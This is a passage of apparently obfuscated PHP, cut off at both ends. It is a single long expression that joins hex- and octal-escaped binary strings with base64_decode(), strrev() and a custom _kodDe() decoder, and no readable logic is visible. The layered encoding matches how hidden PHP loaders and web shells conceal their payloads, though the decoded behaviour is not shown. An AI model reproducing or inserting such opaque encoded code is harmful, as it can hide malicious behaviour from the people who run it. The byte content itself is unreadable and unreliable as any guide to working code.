5b\x48\x58\xa5\x71\xda\x39\xf8\x77\xd4\x28\xa6\xf3"."\xe3\x64\x77\x6f\x28\x39\x6b\x32\x39\x4a\x5a\xb3\xa4\x8e\x92\x1\x69\x4d\x41\x9f\x4c\x95\xac\x4\x69\x44\x3a\x97\x4\x83\x83\x23\x93\xa3\x59\xa3\x34\x35\x46\xab\x4d\x9\x89\x7e\x64\x71\x1d\x19\x9b\x5\x8b\x17\x50\x2a\x25\x38"."\311\122\326\124\163\244\122\213\352\50\175\67\220\116\51\244\362\211\234\252\323\362\110\362\170\41\75\145\352\344\56\127\317\115\46\314\70\71\257\36\235\66\342\126\222\124\161\152\62\123\122\151\7\55\246\144"."\333\104\173\265\201\316\224\154\276\140\345\46\110\35\26\320\141\110\26\47\307\46\122\12\45\267\45\264\323\265\351\174\234\152\132\344\46\13\26\275\113\155\154\242\215\244\223\270\241\211\366\340\102\222\173\124"."\327\162\211\22\55\163\11\255\10\101\53\231\123\326\170\201\124\276\221\226\122\214\117\114\115\122\225\357\354\104\72\131\234\242\103\220\110\216\233\51\252\143\61\151\245\15\172\60\61\151\305\307\315\61\162\261"."\xac\xc7\xb3\xf9\x74\xca\xa4\xdf\x6a\xa4\x2d\x22\x5d\x5c\x52\x53\xa3\xca\x38\xbd\x84\x9e\x2a\x66\x72\x6\xe9\x8a\x85\xb\x9\x6e\x7a\x4c\x29\xb1\x51\x18\x9d\x52\xb3\x63\x74\xa6\x8e\xe5\xb2\x80\xe3\x91\xce\x6f\x68\x20\xcd\x9c"."\64\163\343\45\213\20\343\142\312\54\233\150\173\233\50\201\67\65\221\21\310\227\264\270\72\116\252\270\210\322\106\272\60\1\6\226\314\376\174\152\172\52\115\217\5\263\223\71\103\241\212\70\13\351\147\227".base64_decode('0I60SoWMFif1HcqRWdquJMbogbNpKVbRdCBQZfqEqIk5pqpU5ZAqNfJLY7OIFIFpOj9qgGc0wuU=')."\x32\x8c\x86\x45\xdc\x44\xde\x12\x92\x41\xcc\x96\xa\x95\x0\xe1\x89\x8\x8f\xd1\xa3\xfb\xb0\xa5\x1b\xec\xba\x1d\x6b\xc5\xb8\x61\xd\xdd\xf6\x6\xd5\xd5\xdb\x30\x92\x71\x5b\x3a\x83\xd2\x73\x14\x67\x4a\xca\x9\x8f\xa3\xae\x8b"."\211\21\67\355\216\270\320\255\370\250\334\122\314\61\267\10\166\211\251\132\36\224\234\315\272\355\126\70\61\364\37\351\55\154\343\141\252\343\105\225\151\54\103\233\15\72\114\61\256\113\312\133\310\357\72\5"."\x18\xef\x63\xa1\x2b\xec\x83\x26\xe8\x94\x15\x92\x3a\x83\x26\x4d\x9b\xf9\x10\x99\x9\xb9\x29\x18\x15\xc2\x8e\x2e\x71\xf3\x9a\x55\xc3\x60\x4d\xa5\x1e\x17\x6a\x45\x3a\xc3\x3\x3b\xc3\x83\xa\xe4\xed\x74\xc\x93\x58\xeb\x34\x3b".base64_decode('XuZnnaQOvALkKqGsr9Do2gnQNu520iWHjsiGRpbwB2UJXe5JdvuOgE9it6Di6IuVNNRCVkmwChY=').strrev('K%vQul(iW`3""[lcGF[bNK\'w&')."\142\103\115\152\244\254\234\232\103\230\124\37\25\135\221\60\245\274\104\126\125\14\333\365\314\262\266\102\246\0\215\344\254\245\155\304\144\207\334\73\305\204\357\222\60\127\174\26\241\131\347\225\17\235\123\156".base64_decode('X7tgzQbRhBxY12cpZCstHEqWlDwMh4p5mEo0zD1CfjdHnSBadylSsV57+0GFXaxLQDMBR02aSL8=')."\210\320\374\361\144\70\4\13\235\20\357\115\230\35\165\356\127\144\265\304\246\27\0\327\316\63\165\41\63\253\320\265\302\4\254\134\313\253\154\34\212\46\327\250\124\122\304\14\41\220\167\102\160\34\252\346".base64_decode('xRJZ3RToPJZWrRhZI0ht273hQEes30v1bZVCwQM12aBCsDB0GRV0JJDaDEugklhSI9XpCbTHfIE=')."\20\137\241\250\275\207\267\77\20\13\207\203\302\7\232\5\346\3\125\350\371\155\46\214\161\125\172\170\236\57\336\164\232\346\204\156\220\157\103\213\66\250\25\31\226\210\141\15\40\232\216\156\157\210\151\76"."\56\160\327\271\353\71\56\370\140\14\52\200\266\120\103\234\160\304\33\252\140\335\210\255\36\311\210\22\113\107\222\241\73\70\50\165\4\173\6\172\373\302\330\234\17\303\373\202\102\72\322\157\263\45\213\140".strrev('#YZ6UhVDjDGFk29eHe\\U }ǿR').base64_decode('ZLauE0eELA39PtKiZhZi60lvOLySKO0HQ96OHloLQEMkGOwI4MA7F9/x1s/Oe+fKW98+ezMoaMc=').base64_decode('Fd/Zcdm9b923+d2NW9++9dx3Hjxvx8W37Tj3VFL1d2/76VtbH3rn4hvevvV7Oy69/50rTsMJ790=')."\170\307\333\347\334\300\52\46\275\167\321\203\73\316\273\176\307\45\267\357\330\174\353\333\77\273\350\355\7\276\363\366\175\367\311\40\367\173\247\157\176\147\353\255\73\316\272\164\307\226\157\357\270\147\323\216".base64_decode('qza/fc61b19+wzvn3fb2dRvfPmPzu7ddcryTdnB8mI4Cua72rI2atdW4Z6PmfNirNeC3GqrAgl8=').base64_decode('qvkHKC4M7Vf6OvxOlXIxSqxAazFRQJpmwoFJrEhpPIasDObNWosZMvRCpYTK+PzhjlCg3U+ULNk=')."\100\315\105\312\176\344\26\34\100\303\241\125\54\314\354\56\312\154\167\245\152\152\273\133\43\331\32\242\270\23\172\266\230\313\243\312\112\125\120\253\244\112\206\274\33\311\42\122\25\134\173\0\100\115\200\331".strrev('Ȥj'."\n".'"UT]rbێD}嗈UJ^#_\\ry'."\0".'M'."\r".'V').strrev('F<ÊpR >JIzmϟo$pns fBR`(e.9ub')."\65\326\12\211\50\233\255\63\132\154\235\121\75\237\260\210\376\56\66\336\130\363\124\302\146\13\270\132\212\111\7\212\100\321\120\101\50\36\55\212\253\203\146\200\301\301\370\40\300\122\306\324\51\136\22\340"."\x44\x2c\x81\x8e\x20\x84\xb3\x41\xac\x90\x86\x8c\xad\xab\xb0\xa0\x84\xdb\x99\x33\xd3\x94\xcb\x11\x6b\xdf\xde\x21\xd6\x6\x4a\xcb\x64\x8\x54\x6e\xaa\xd\xd\x30\xfc\x91\x8e\x6e\x4c\xe5\x61\x81\xcc\x93\xf1\xb9\x36\x42\xe5\xdd".base64_decode('KdlIJEuN8wgeni6QIeyN8AJ9ncFQLzY8CHd0+3u9bsK/MSVgfCihSC3SPMj5MGierfvRh2iXRdA=')."\x57\xc1\xbc\x8a\x59\xaa\x69\xe1\x5e\x28\xa4\x49\x65\xc8\xe8\x4b\xc8\xb2\x4c\x41\x59\x5a\xe6\x61\x8b\x49\x52\x24\xf3\x2c\x10\xc\x45\x62\xa0\x3\x8\x7b\x16\xb8\xee\x3c\x61\xa1\x10\x75\x38\x8b\x86\x51\x62\xfb\x38\xb4\x17\x10"."\x84\x20\x65\x3e\x97\xa0\xd4\x24\x61\x8e\x29\x25\x1\xb6\x69\xd4\x7e\x38\x4e\xdd\x14\x80\x2a\xc0\x2f\x77\x4\xfb\x3a\x3\xd4\x12\xc3\x17\xb7\xa5\xf9\x42\x1\x68\xe2\x48\x2a\x27\xd1\x12\x62\xfc\x5a\x1e\x44\xa\xf4\x74\xd\x84".strrev('X0G0CxH`QXsD,}gU>`L')."\xd7\x1b\x8e\x80\x56\xf5\xd\xf4\x72\xae\xdf\xe3\x5d\x5\x8\x26\xc8\xe5\x12\xca\xb1\xab\xdd\xb5\x6d\x35\x51\x6c\xa\x81\x83\xf8\x67\x39\x8d\x41\x75\xf2\x91\xf5\xf5\xb2\xb4\x70\x43\xd\xc1\xa1\xc6\x3\x31\x2b\xa3\xe5\xa9\xa8".base64_decode('Cr+ysifWE+zCceTFwZ9PckleGpaApBvhkq5Jly82IyRAxxK2r5L6goNe7hJASMAQIktL3FGAZ+0=')."\160\164\42\352\6\42\203\271\216\133\70\370\332\45\52\214\164\100\201\220\250\336\223\334\136\272\242\322\245\103\46\201\130\126\117\63\171\260\317\107\5\10\374\273\232\6\20\367\44\31\300\376\257\220\245\26"."\17\330\324\42\26\235\211\236\30\165\271\261\165\11\224\144\242\62\257\131\314\277\32\254\272\341\260\315\64\46\206\114\344\111\351\240\315\44\204\347\61\216\54\43\77\144\27\263\214\364\4\211\266\266\260\241".base64_decode('9a+c6QN/XZEZP/jrAT89ETB4GkMAk7QnsMI/A//hCTWSiBDomwH/AhYzE+hzZm73Rwb9foxAw+Q=').base64_decode('l6MClkOaJvj4OClILaGkHn9nRIJx+tlYrBp1nmtkfk0s5jEHCLUwS9LqeSfUzyOriDfcwfmvjQ4=')."\312\111\0\351\21\333\307\237\371\254\40\361\256\120\160\240\137\210\167\173\127\5\372\272\150\314\123\113\103\265\324\322\336\27\10\203\56\352\240\64\310\135\151\210\161\42\162\42\301\110\24\171\155\4\355\3"."\xbc\x1d\x44\x4\x41\x1c\xee\x0\x30\x6f\xb6\xcf\xb1\xf6\x81\x40\x8f\x4f\xb4\xfe\x83\x88\x64\x49\x41\x7c\x9d\xac\x2a\x73\x69\xe5\x68\x1c\xd9\x1\xd2\x8\xec\x72\x1a\x46\xe4\x45\x23\xa8\xf\x68\x4\x77\x0\x8d\xa1\xee\xa2\x11"._kodDe('KqbYOnc3RPhdPWJx8AEoHuCCtWKExwkBUJcpjIi/SVjGJFBpTFEQF5UzDSsQPKZRFD0ijiRbd7ZU')."\x29\x8a\x67\xdd\x70\xd4\x8c\x86\x47\x6a\xdb\xd6\x51\x32\xc4\x86\x59\x56\x44\xb3\x98\xa1\x1d\xfa\x8\xf1\x6e\x1\x3e\x12\x40\x76\x31\xc2\x67\xc8\xfa\xcd\x8f\x59\xec\x7b\x1c\xc6\x2b\xd6\xb1\xad\xb\x31\x61\x95\xc9\xaf\xc1\x2b".base64_decode('Z9eygxAyYvvjnyjBjZJtC7FamSfTBTXGDSAtoyiodDJ1S6RlVozDFLGv0KkP6D9qc4SWclJPS5c=').base64_decode('OJZdS5QaO2LHJE4VMBHMtcj4GSrVhLbUnC3DgGBvpCS5jY3CrISsDLenEp2B+Nrxbw5qSIfZ3Ys=')."\57\216\64\347\270\56\66\353\16\123\320\250\103\247\115\274\175\330\363\212\43\43\51\51\300\252\54\140\161\140\17\367\376\241\351\35\131\260\222\162\253\143\170\24\304\77\62\255\321\23\134\126\245\274\336\257"."\x1a\x39\xd\x1d\x68\xd\x72\xfd\x5b\x96\xae\xf2\x61\x43\x4a\xce\xec\x80\x1c\x9d\x2c\xe6\xed\x7e\x48\x8a\x79\xf0\x85\x7e\x36\x22\xae\x7a\x8a\x4c\x7d\x36\x21\x22\x90\x98\x58\xc3\x94\x4a\xc1\x50\xa0\xbc\x82\x8a\x22\x72\x83\x42".base64_decode('ijWymFKOd1TO0vVeJT8V0VdpKrm+8AUH+3qC1PkB9XdC5jm5fQMbCMNNIxYNVG6SoZD6DNLVARE=').base64_decode('LvdudbxIF2iAOYV5Qx3dQJyLdQaArOtfTUSmFUFfLBwcCNHTBxhHBgshf8cQOw1g0E7vKicEFhc=').base64_decode('8XZVBDNhDsIR34yFglDy9fd0OjKEu5kTDTss1hPoW1ExIRKM9QpZMBDsf3udMHsJYT/sCh5v7wk=').base64_decode('dgjJgWB5TwBm7QBi0ZguqNXR9egsobmtOpqcgcurKwZW57bohprqqKfNXctkQjw0gnp+ZbBmRmw=').strrev('уmҕjĞ'."\n".'/\\2Z}/&q җ̤H'."\0".'XvL')."\x6b\x7\x32\xf8\xeb\x17\x51\x23\x6a\xae\x50\x11\xd1\x46\x7c\x36\x3\x6\x11\xe4\xd6\x74\xde\x43\x61\x4\x12\x2d\xa6\x30\x12\xc7\x58\xaf\xe9\xcd\x74\x26\x26\x8a\xd0\x6e\x93\xf7\x37\x9f\xc5\x0\x44\x74\xec\x1b\xe8\xb5\xd5\x90"."\53\347\112\106\43\135\320\333\103\164\15\313\240\31\202\273\205\204\236\117\42\17\23\144\252\52\364\132\74\136\4\133\61\172\14\14\27\10\323\65\241\321\52\235\300\314\64\311\175\112\114\101\106\306\61\361"."\266\153\334\145\152\351\274\113\311\246\165\300\23\63\71\12\125\306\154\351\334\125\107\101\7\33\115\352\54\316\5\76\41\244\141\144\120\70\345\375\360\110\231\171\70\201\21\223\305\304\221\204\224\305\156\17".base64_decode('wqh2zVITcdvTCdYcQVM6WLQC0JMLN0+CHAr5ryHrqsT9e1HhszJThTtNQfWbzs3cGL9Gyo2xE2s=')."\xba\xe4\xd2\x95\xb0\xa4\x76\xa\xb7\x4d\x7c\xb\x4a\x5c\x6f\x81\xb4\xf6\x29\x7a\x81\x43\x14\xb5\xdb\xa7\xa0\x2a\x79\xd9\xca\x3\xad\x88\x44\x7f\x64\xde\xc1\x70\x93\xab\xbb\xd7\xdb\xe1\x2\x1c\xa6\x61\x1\xb9\x52\x1e\xca\x1"."\62\351\326\30\221\50\23\146\123\14\32\354\253\164\11\234\277\120\312\200\136\45\243\137\356\356\344\4\273\123\35\14\304\336\70\200\120\227\204\167\7\164\171\305\120\7\125\140\40\227\41\160\34\133\171\23".strrev('Xo2b\\W`t(RPr ]]]]]ߊUl0r')."\335\40\331\247\231\120\374\115\62\174\223\207\30\205\247\4\332\267\25\367\37\35\343\110\224\33\263\202\240\14\204\70\52\206\314\45\232\71\100\4\262\240\104\300\367\371\320\154\261\227\111\41\6\245\154\217".base64_decode('bpoVbmkAVMLuKouY30hIHFShq0HNlJR4XjdydGyInyHmMoY5lOFeZ/A2Cof9zBKxV5n0ptWwCtk=')."\30\351\50\377\144\101\67\125\321\127\121\122\105\76\60\230\275\212\62\11\231\213\111\143\306\30\115\231\164\201\132\73\234\346\230\252\72\106\5\66\101\120\146\302\161\77\163\206\343\254\33\354\101\127\316\346"."\31\214\372\351\21\275\32\150\66\113\120\316\361\14\356\26\11\235\300\271\52\2\134\202\275\27\146\17\202\133\72\320\220\64\33\15\27\231\320\31\324\63\244\365\11\374\263\246\122\365\134\6\167\160\24\14"."\207\261\263\266\25\352\24\165\25\344\230\22\16\357\102\321\256\150\157\64\42\366\253\145\50\251\24\250\266\340\220\304\126\27\360\15\211\66\175\166\117\110\144\47\171\142\105\337\107\44\21\371\343\362\0\14"."\x68\xab\x3c\x11\x63\x94\x8a\x1c\x44\x56\xa0\x55\x4\xff\xef\xa9\x55\x24\x19\x28\xa7\xd2\x19\xca\xef\xf1\xb\x45\xc1\xc7\x29\x96\x89\xfb\x91\x3b\x2b\xca\x54\x84\x1d\x1\x72\x23\x45\x5c\xb5\x31\xbf\x4e\xa0\x5b\xf3\xed\x7a\x92".base64_decode('LIbrqwC9VjVXnVANfmuq5Coo/KA4HGEIQN+uaj6hGgVqiLnkNFXk4X5Z+EknkfXbFMsSduhtqO8=')."\xe0\xc4\x6f\xf0\x34\x78\x26\x8\x8f\x69\x1b\x87\x5f\xe4\x4e\x17\x9d\xb\xc6\x64\xc\xf0\x48\x7a\x99\x1b\x13\x39\x35\x59\x3\xc8\x18\x89\x29\xdd\xac\x26\x94\x87\xf7\xfa\x16\x50\x96\xeb\xed\x5d\xe3\xe2\x9e\x92\x96\xb5\x4d\xe6"."\xb2\x12\xf1\x6c\xd4\x32\xaf\xde\x5d\x37\x4f\xa2\x5e\x38\x5b\xe6\xd\x44\x3a\x5d\x8b\xe7\xb5\xb5\xee\xb3\xac\x3\x1d\xd5\x59\x6a\x2f\x3c\x6b\x83\x5e\xaa\xb0\x4b\xca\x56\xb2\x6d\x5f\x6\xe7\x2a\x8b\x78\xec\xb1\xd9\xf2\x12\xde"."\x97\x53\xa6\xf5\x3c\x58\x17\xc1\x6e\x37\xe7\x4e\x90\xce\x2c\xfe\x2f\x3c\x8e\xfb\xbf\xca\xab\xd6\x84\x6e\x90\x13\x4b\x26\xb4\x35\x89\x53\x82\x10\x9a\x49\xa6\x2f\x36\xfc\x6c\x86\x7\x4\xb4\x87\x6\xa\x53\xc5\xbc\xab\x3\x48"."\16\56\54\357\64\127\132\20\233\353\354\370\320\21\251\35\137\344\253\220\143\305\34\34\213\63\244\34\17\142\67\203\315\222\350\173\122\160\50\344\202\142\7\236\347\164\233\112\140\220\13\123\220\46\272\147".base64_decode('ohNjuaO+cDRcQG6DUwTMUrCcW2olFNJcqWInSM5eQFng+LtE54mTriJKzquTlguSgIs6hShP4XM=')."\275\142\125\23\204\232\52\241\14\24\265\244\363\223\350\164\330\125\54\322\17\126\54\124\164\113\112\21\120\43\2\311\331\32\216\241\66\131\136\1\24\300\304\167\347\166\100\70\305\51\167\315\6\146\275\324"."\xd0\xd8\xbc\x60\x9\xf8\x3f\xe1\xc2\xf4\xc8\xbb\x58\xb0\x5a\x58\x90\xba\x6e\x3b\xde\x93\xa2\xc\x84\xbb\x52\xa4\x2d\x86\x63\x6e\xf3\x57\x27\x80\x79\xe7\x32\xd6\x40\x39\x8f\xd\x8f\xd7\xd6\xe6\x4e\x93\x34\x14\x6f\x26\x5\x2f"."\x7d\x15\x38\x6d\x52\x2d\xd1\x55\x98\x2c\xc2\xd0\x21\x1f\xd5\xe2\xa1\xa3\x91\xa6\x1\x83\xe1\x2b\x7c\x32\xc4\xb3\x63\xbc\xc2\x71\x78\x85\x45\x68\x79\xc\xd4\x47\xe7\x32\x1b\x5a\xae\x5\xc6\x9f\xc8\x14\xf3\x63\x2d\x42\xa2\x64".base64_decode('6bqUU/JTZDcx12yea2IFo7nuppQJIoSfM8eScCnirjKwUSxJAYs1FCmhD043XPJCRcE1sF3lLAY=')."\326\53\207\52\216\350\151\274\77\133\144\36\41\13\50\114\232\324\337\63\320\25\350\23\156\265\4\100\254\303\327\27\363\366\367\127\114\40\43\204\164\163\74\320\3\245\173\224\174\27\172\140\46\54\131\313"."\245\245\4\74\211\153\251\202\320\52\311\64\22\324\353\117\225\207\60\146\204\300\67\154\313\64\222\145\36\314\42\245\100\233\134\50\204\223\347\265\56\363\150\255\224\171\203\375\21\244\362\220\116\205\143\266"."\x6d\x2a\xb1\xa3\xb0\x8a\x67\x7c\xde\x84\xc3\x27\x63\x87\x92\x5f\x55\x9e\x5\x16\xee\x4e\x54\x4a\xf2\xa0\x33\x2e\x8f\xe0\xcb\x93\xec\xf9\x45\xc5\x22\x9b\xff\xd\xfb\xf1\x27\x3b\x60\xab\x30\x28\x5\x25\x31\x6\x7\x9e\xf3\x63"."\234\354\46\11\375\160\133\202\23\154\276\2\55\341\4\35\124\34\174\12\156\113\15\55\235\241\7\62\353\161\101\160\341\336\260\241\34\106\56\335\235\111\336\202\346\4\301\361\162\302\340\316\232\303\300\302"."\142\377\14\246\25\21\211\103\50\116\117\137\327\60\125\131\101\261\350\360\74\167\355\206\15\36\215\336\65\105\253\50\56\246\157\67\303\306\361\250\333\216\17\52\107\172\223\41\22\200\23\23\13\171\47\21"."\52\336\307\123\313\225\60\331\235\222\4\57\232\132\132\132\207\331\301\347\10\115\243\342\231\126\277\230\216\343\164\306\25\31\144\301\216\76\56\256\62\312\305\23\323\215\24\342\274\166\237\111\155\45\346\235"."\x53\x54\x81\xc3\x61\x6f\xa1\x20\x46\xe9\xb\x2\xd0\xd1\x8a\x27\xab\xc5\x3d\x6c\xda\x78\x10\xcc\x9d\xe0\x4a\x9f\x14\x5\x4d\x5a\x7\x1c\x5e\x8\x39\x12\xa0\x6\x1f\x2\x97\x0\x1b\x2\xc2\xce\xa8\x13\xe\xca\x62\x40\x16\x58"."\x66\x26\xc\xad\x60\xd9\x26\x3c\xf6\x49\x5f\x85\xfc\xa9\x8e\x2a\x25\x5\xa3\x54\x49\xd4\x23\x76\x15\xf2\xe\x57\x5\x26\x38\x4e\x21\xb3\x9c\x57\x65\x19\x64\xec\x92\xa1\x66\x5b\xaa\x50\x75\xcd\x8c\xaa\x82\xfc\x19\x20\x97\x57"."\xfc\x8\xc8\x58\x25\x51\x36\x93\x53\x58\x8f\x19\x96\xe\x56\x16\xa6\x6b\x49\xfc\x6\xf\x84\x88\xb2\x99\xb7\x6f\xc8\x26\xc9\xcc\x59\x8b\x7f\x4f\x98\xc3\x18\x2b\x74\x37\x9d\x5\x22\x22\xd2\xa8\x41\xac\x4\x1d\x85\xa7\xf8\x69".base64_decode('FPHR3B8KRoId1DdtpWOrJio2mlidlu86qLLjCv+QHYMtuR4CIcNvFPN5dm0HJUG2YMSRP4Rwpmg=')."\361\245\6\72\222\213\100\5\165\223\200\5\107\34\320\15\210\232\164\323\25\226\71\204\41\360\12\71\360\41\50\54\217\116\7\301\157\46\375\122\126\247\236\110\32\352\352\352\134\165\365\340\377\354\22\204"."\174\242\271\256\256\14\245\256\256\31\375\37\47\240\103\121\322\241\366\24\60\177\51\57\41\10\23\140\357\117\102\4\105\313\27\251\310\1\372\13\71\1\151\246\23\175\251\260\215\132\52\251\260\165\44\246"."\72\133\332\243\247\155\203\102\271\74\234\331\64\14\326\175\60\34\250\345\264\47\351\175\45\100\343\3\15\352\341\317\47\211\64\277\24\353\154\267\210\37\163\323\36\24\201\342\201\263\305\322\154\337\7\120"."\260\344\45\130\325\41\100\70\134\200\162\211\340\5\5\106\305\133\100\224\314\264\207\121\54\313\154\100\140\264\217\225\124\211\204\62\372\104\214\257\140\60\172\22\213\241\76\201\233\1\112\54\254\365\244\143"."\50\343\243\304\101\157\310\310\355\24\62\254\30\323\262\66\255\375\230\120\266\350\75\21\360\27\50\65\322\141\305\7\334\344\3\320\353\210\233\367\36\162\256\205\274\350\343\113\355\346\175\204\236\64\164\256".strrev('H;Q^:$9HGܘ'."\n".'M(D*һ?;& 6N'."\n".'+*_;')."\223\170\264\343\336\210\150\31\254\365\105\43\353\56\30\172\32\214\204\51\324\13\302\373\53\203\31\172\71\146\5\44\326\40\21\117\4\102\15\2\352\167\237\20\25\73\101\7\133\56\306\26\5\124\256\334".base64_decode('LgDt2gBCQgfzUysC4QZgQNjUsY/aqQMK646SSTq/o4a7a/EYUtM7CAXANvELKzu8jFYInbcQAn8=')."\xf3\x8c\xb\x68\xe0\x22\xc2\x21\x50\x75\xd9\x51\x8f\x78\x90\x59\x61\x4\xed\xa3\x54\x36\x1c\x88\xae\xbb\xe1\x45\xe\x9b\xc9\x42\xac\xfc\x9c\xae\x28\x6e\xce\xe0\x55\xb7\x1b\x39\xda\xe3\x2\xad\x23\xea\xbc\xe\x47\x1c\xcc\xa2"."\114\210\372\10\313\63\377\274\260\43\60\117\307\361\12\137\40\231\130\26\67\275\35\167\47\122\151\7\210\221\115\31\100\345\262\73\322\5\5\2\45\345\174\275\372\64\340\114\212\147\201\273\116\252\36\324".base64_decode('gNQ0YUp9EWmhu2GpNBgcXNhUIwH5LasOqvEVmuVZ0LjI3bhQql7RHentkSVoiiN1AXlQr5E6MoY=').base64_decode('nlM9DYugAULTgkb3kiYprKQUQyO5CP8jypMT5Be+8BQTqhwT9qx4Cad8E2mI4vuvYZiLqP0BWkc=')."\xcf\x44\x89\x19\xd1\x85\x3f\xd1\xef\x11\xf7\xc0\x10\xd7\x4e\x25\xf6\x62\x21\xc2\x8\xc7\x95\xe0\x9b\x30\xb6\x2b\xb7\xe3\x36\x51\x3e\xd\x26\x13\x9f\x94\x90\xe9\xb\x84\x8\xa3\x8c\xec\xa0\x42\x74\x56\x7c\x5c\x67\x50\x4b\xb2".base64_decode('C+vhqDlSG/X0qklNadcncXQY/SCdSaiAVgOj8/+XaG10hCoswQ92q3xb5Znb7+t0cXS2jUO+eLk=').base64_decode('R2lSMeRJkH+Blk9Ljzh3cTiMHe3jcAccBbD4+9gaBzg3j6BBsuEy3RVDTxYTtMh+W6yQTK0Sd5M=')."\x3e\x32\x85\x90\xb8\x25\x3e\x8b\x33\x9\xe4\x6d\xd6\x22\x23\x9a\x1f\x41\x4c\x0\x42\x51\x3b\x30\xac\xd6\xd6\x36\xc\x9b\x3f\x77\xae\x3f\xd8\xc9\x14\x15\x39\xc6\x64\x43\xdd\x88\x3d\xd6\x56\x3d\x9c\x4f\x8d\xb4\xd5\x54\xc3\x8c"."\x33\x4\x86\x4b\xa1\xdd\x4b\xcf\x42\x6c\x55\x11\xbf\x6a\xeb\xde\xf9\x7a\x7c\xd4\xa3\x91\xad\x9e\x87\xd0\xf\xaa\xdb\xb2\x65\xd5\xee\xda\x9a\xd6\x56\xbe\x13\xf4\x40\x22\xb4\x95\xc0\xea\xc\xfd\x27\x96\x97\x6d\x8b\x84\x28\xb2".strrev('䣼lodتZ|V ԎOeӛ\'F*LaHz-|').base64_decode('cacoEdqj9M0non4XJfp3VFWOqc7RplRHo9Ekcn9NaMmzlkCYx/TqOSDeIGJgAEWYQ/GWDSuuFKo=')."\x6b\x2b\x40\x66\xda\xaf\xcb\xdc\xb5\xad\x27\xd0\xcc\xe8\xda\x81\x12\xc8\xfe\xfb\x50\x4b\xa5\xee\x5a\xf6\xf5\xc9\x4e\x3f\xf8\x63\x44\x79\x22\x29\x1e\xdd\x48\x10\x64\xc0\x95\x5d\xfe\xbe\x48\x20\x12\xf0\x87\x31\x68\x97\xbd\xf7"."\331\157\177\322\7\104\225\162\377\175\150\221\240\163\243\223\165\165\340\157\11\370\123\300\137\2\374\45\41\11\107\115\360\357\142\360\7\122\32\1\264\121\215\116\56\210\203\77\220\272\10\374\56\202\130\51"."\360\267\200\163\221\326\126\136\60\150\255\327\325\11\232\135\251\160\220\245\225\121\270\120\101\270\155\217\217\122\276\111\117\27\340\353\2\252\102\347\220\222\245\253\243\370\362\24\374\144\324\200\363\16\316\72"."\76\75\252\241\31\42\302\203\263\265\102\115\70\56\303\264\65\142\66\32\36\370\317\130\342\64\146\315\232\357\162\327\325\67\64\66\55\130\270\210\272\47\310\27\163\252\101\317\114\74\310\321\140\43\374\321"."\222\364\207\13\45\366\123\336\2\165\120\202\356\321\30\157\244\313\276\240\272\143\212\312\116\143\352\124\57\75\142\200\113\145\12\136\34\221\264\305\355\375\204\162\74\321\141\310\155\242\224\22\241\257\125\101"."\x7d\x86\xc4\xc2\x19\xea\xb\x7f\x6e\x5d\x43\xb2\x99\xfd\xe3\x80\x51\x91\x28\x6d\xba\x85\xba\xe2\xa7\x86\x94\x22\x68\x13\x55\xdc\x1a\x2d\xa4\x79\xc5\x22\xc2\xab\x44\x80\x8\xcc\xe\x7c\xb9\x29\x9c\x10\xc3\x12\x85\xb2\x85\x63"."\x45\x14\x87\xcf\x34\x51\xd9\x7\x3\xb2\x71\xea\x4b\x5e\x4c\x13\xc0\xcb\xdd\x40\x5e\x4a\xb9\xfd\xab\x3\x9d\xee\xe\xf8\xca\x52\xb8\xc0\x8c\x9f\xcd\x50\x17\x51\x20\x65\x1\x54\x79\x37\xdc\xb7\xe5\xd5\x2c\xa9\x4a\xa\x5e\xcb"."\x85\xd8\x1a\x7\x9a\x24\x8f\x16\xd4\xb4\x5c\xc8\xa7\xe5\xb4\x96\x92\xe3\xb9\x82\x6c\x69\xa9\x14\xfc\x47\x6\x63\x28\x17\x12\x49\xd9\x2c\xa5\x65\x35\xa5\x4c\xca\x13\x6a\xbc\x40\x3d\x48\x1b\xd\xb2\x6a\xa4\xe4\xb1\x64\x42\x4e"."\46\14\71\11\12\310\33\23\162\136\115\311\72\200\33\23\15\162\1\204\115\0\123\300\237\151\20\57\14\45\55\251\352\140\167\144\352\331\42\122\225\232\234\5\76\105\305\40\12\131\155\353\205\100\247\257"."\316\275\72\304\122\47\345\131\22\234\305\14\175\145\61\123\266\142\206\234\305\210\211\76\352\372\173\71\36\22\32\307\17\107\51\131\350\112\234\374\67\231\53\270\341\37\22\43\124\210\50\243\61\137\16\335".base64_decode('Fgi6Dm6KiK5wprgwohsakIyVyhUJOhNNPWVNMKUrETVMUoS6kYqwFBI3yzFtrdCNCHtaJa5Z/WA=')."\x27\xad\x70\x2d\x44\x3c\x9a\x0\x6e\xc6\xa\xd0\xbc\x52\x48\x82\x40\x80\xdd\xaf\x4d\x52\x23\xea\xe5\x6e\x7c\xd9\xcb\xf1\xb\x30\x51\x66\x70\x43\x99\x70\xa4\x11\x22\x74\x4c\x82\xca\x13\x4\x94\x3\x67\x7\x2d\xc\x1e\x6d\xc6".base64_decode('4Mmm0LLl7kC3L+RG5SFLPP5teINpiDb6+KNMwGaI6aweV7IxXAa/V1LygKswA+3lbhwHpbntKWk=').strrev('ops92JPXʽKIj1?Jl %Am&*iՔ')."\xcb\x1\x8f\x47\x58\x16\xfe\x2\x10\x62\xbe\x3e\x76\xb6\x27\x66\x9\xd0\x24\x78\xa0\xd\xba\x8e\xe6\x46\x59\x92\x1c\x2e\x14\xe4\x15\x58\xa8\x58\x14\x66\xad\xb4\x0\x91\xd1\x26\x0\x67\xa4\x26\x8d\x5e\x40\x68\x50\xa3\xa7\x53".base64_decode('3HmQYjqCvf0DEb/PXRGJAoUrCJEqKyTD82SwM0cnirPkmgUFaXiBwvgZqJipPLUT6vaLCoIielk=')."\xa2\x0\x8\xe4\x1b\x17\xe4\x72\x9d\x5a\xb6\xc2\x42\xf4\x15\x68\x20\xa9\x68\xfa\x40\x7\x2b\x79\xc7\xc\x65\x7d\x58\x1\x25\x10\xe\xa2\x86\x82\x55\x8a\xbf\xca\x2a\x7e\xb1\x22\xc2\x60\x46\xb3\xd4\x76\x25\x5b\xf6\x29\x94\xa5"."\74\225\366\16\127\344\253\324\167\74\225\102\332\65\305\234\145\224\312\120\374\253\204\205\230\4\225\204\254\44\55\123\126\212\262\222\63\144\245\144\310\161\75\77\46\47\315\24\370\63\145\260\364\302\344\124"."\26\40\146\25\71\13\30\230\234\323\222\232\234\3\1\315\222\47\163\262\331\230\43\213\160\256\0\22\13\215\262\236\62\144\143\14\24\151\146\340\334\30\223\47\224\222\74\221\123\344\134\223\42\353\351\264"."\134\32\117\311\23\45\271\244\47\144\213\36\2\123\61\51\146\212\132\203\343\105\55\61\6\301\156\370\17\30\227\134\301\214\25\363\332\44\165\264\235\323\365\222\224\53\145\2